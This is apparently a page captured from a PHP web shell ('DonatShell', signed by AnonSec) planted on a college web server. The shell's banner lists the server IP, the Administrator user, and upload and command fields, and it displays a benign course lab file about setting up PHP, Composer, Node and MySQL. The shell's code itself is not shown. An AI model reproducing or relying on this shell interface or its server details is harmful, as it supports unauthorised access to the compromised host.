GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 134.29.175.74  /  Your IP : 216.73.216.160
Web Server : nginx/1.10.2
System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586
User : Administrator ( 0)
PHP Version : 7.1.0
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/nginx/html/MichaelMalz/CST2146/Labs/Lab01/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : C:/nginx/html/MichaelMalz/CST2146/Labs/Lab01/Lab01.phpinc
<?
// MichaelMalz/CST2146/Labs/Lab01.phpinc

$js .= ',./Lab01.js';
$css .= ',colorCode.css';

#d_Var('$f_task',$f_task,'df');
#d_Var('$f_subtask',$f_subtask,'df');

// Process $f_subtask == 'Save path information'
if ( $f_task == 'Submit' && $f_subtask == 'Save path information' ) {
	$EvaluationSubmission_PROCESS = false;
	require('getLabInfo.phpinc');
	require('saveLabInfo.phpinc');
}
require('getLabInfo.phpinc');

$checkFileUpload = false;
#$showEvaluationVariables = true;
require('Gradebook/EvaluationSubmission_BEGIN.phpinc'); // Replaced.

$disabled = '';
#$disabled = ' disabled';

$uploadFilename = $classNumber.'_'.$saveFilename.'_Login.png';
$UN = strtolower(substr($userFirstName,0,3).substr($userLastName,0,3));
$PW = $f_sId;

$ShowSpanCountBefore = false;
//$ShowSpanCountBefore = true;
// <span class="count">

#d_Var("\$_SESSION",$_SESSION,'d+');
#d_Var("\$_SESSION['CST2146']",$_SESSION['CST2146'],'d+');

?>
<fieldset><legend>Description</legend>
	The purpose of this lab is to setup your computer to run a local copy of the CST2146 project for class.
	<br>
	<span class="note normal">
		There are a lot of steps and variations that can happen and I will try to cover them below.
		<br>No matter what I do, you may need help to get this all working. 
		If you need help, don't be shy; Call me, or email me to set up a web meeting where we can talk.
	</span>
	<br>
	<?=$gradeNote?>
	<? if ( $disabled ) { ?><span class="error bold">Notice: Do not perform this assignment unless this notice has been removed.</span><? } ?>
</fieldset>

<ol class="count">
	<!-- 1 -->
	<li>Install PHP v8.1 or higher, in the Lecture we will be using <a href="https://sourceforge.net/projects/xampp/files/XAMPP%20Windows/8.2.12/xampp-windows-x64-8.2.12-0-VS16-installer.exe/download">XAMPP</a> Apache and PHP</li>
	<!-- 2 -->
	<li>Install Comporser <a href="https://getcomposer.org/Composer-Setup.exe">Composer-Setup.exe<a></li>
	<!-- 3 -->
	<li>Install NodeJs<a href="https://nodejs.org/dist/v21.6.0/node-v21.6.0-x64.msi">NodeJs</a></li>
	<!-- 4 -->
	<li>Download the <a href="https://cst.ridgewater.edu/MichaelMalz/CST2146/Resources/mysql-installer-community-8.0.19.0.msi">MySQL installer (mysql-installer-community-8.0.19.0.msi)</a>.</li>
	<li>Run the <b>mysql-installer-community-8.0.19.0.msi</b> installer.</li>
	<li>Do a <b>Custom install</b> and install the <b>MySQL Server</b> and <b>MySQL Workbench</b>.</li>
	<li>Then perform the configuration. Only two changes need to be made:
		<ol>
			<li>Enter a password for the root account. <span class="note">Do not forget this password!</span>
				<br>
				<? showBegin('See example Accounts and Roles screen'); ?><br>
				<img src="images/MySQLConfigPassword.png" width="789" height="591" alt="">
				<? showEnd (); ?></li>
			<li>Change the service name to <b>MySQL</b>.
				<br>
				<? showBegin('See example Windows Service screen'); ?><br>
				<img src="images/MySQLConfigServiceName.png" width="788" height="591" alt="">
				<? showEnd (); ?></li>
		</ol>
	</li>
	<!-- 5 -->
	<li>Demonstrate that your site works.
		<ol>
			<li>Open the .env file and scroll so the APP_KEY line is visible</li>
			<li>In a VS Code terminal window</li>
			<li>execute command <b>php -v</b></li>
			<li>execute command <b>node -v</b></li>
			<li>execute command <b>npm -v</b></li>
			<li>Take a screenshot and save it as <b class="copyText"><?=$uploadFilename?></b>.
				<br>
				<? showBegin('See example screenshot','Hide example screenshot'); ?><br>
				<img src="images/ScreenShot.png" width="900" height="405" alt=""/>
				<? showEnd (); ?>
			</li>
		</ol>
	</li>
	<!-- 6 -->
	<li>Turn in your assignment:
		<ol type="a">
			<li>Browse and select your <b><?=$uploadFilename?></b> file: <input type="file" name="fileUpload" id="inpFileUpload"<?=$disabled?>><div id="divFileploadError"></div></li>
			<li>Then <input type="submit" name="f_subtask" id="inpSubmit" value="Submit"<?=$disabled?> onclick="return checkFileUpload(this);"> for grading.</li>
		</ol>
	</li>
</ol>
	
<? if ( $disabled ) { ?>
<span class="error bold">Notice: Do not perform this assignment unless this notice has been removed.</span><br>
<? } ?>
</fieldset>
<?
require('Gradebook/EvaluationSubmission_END.phpinc'); // Replaced.
if ($TRACK != '') $_SESSION['TRACK'] .= "<li>End ".basename(__FILE__)."</ol>\n";
?>

Anon7 - 2022
AnonSec Team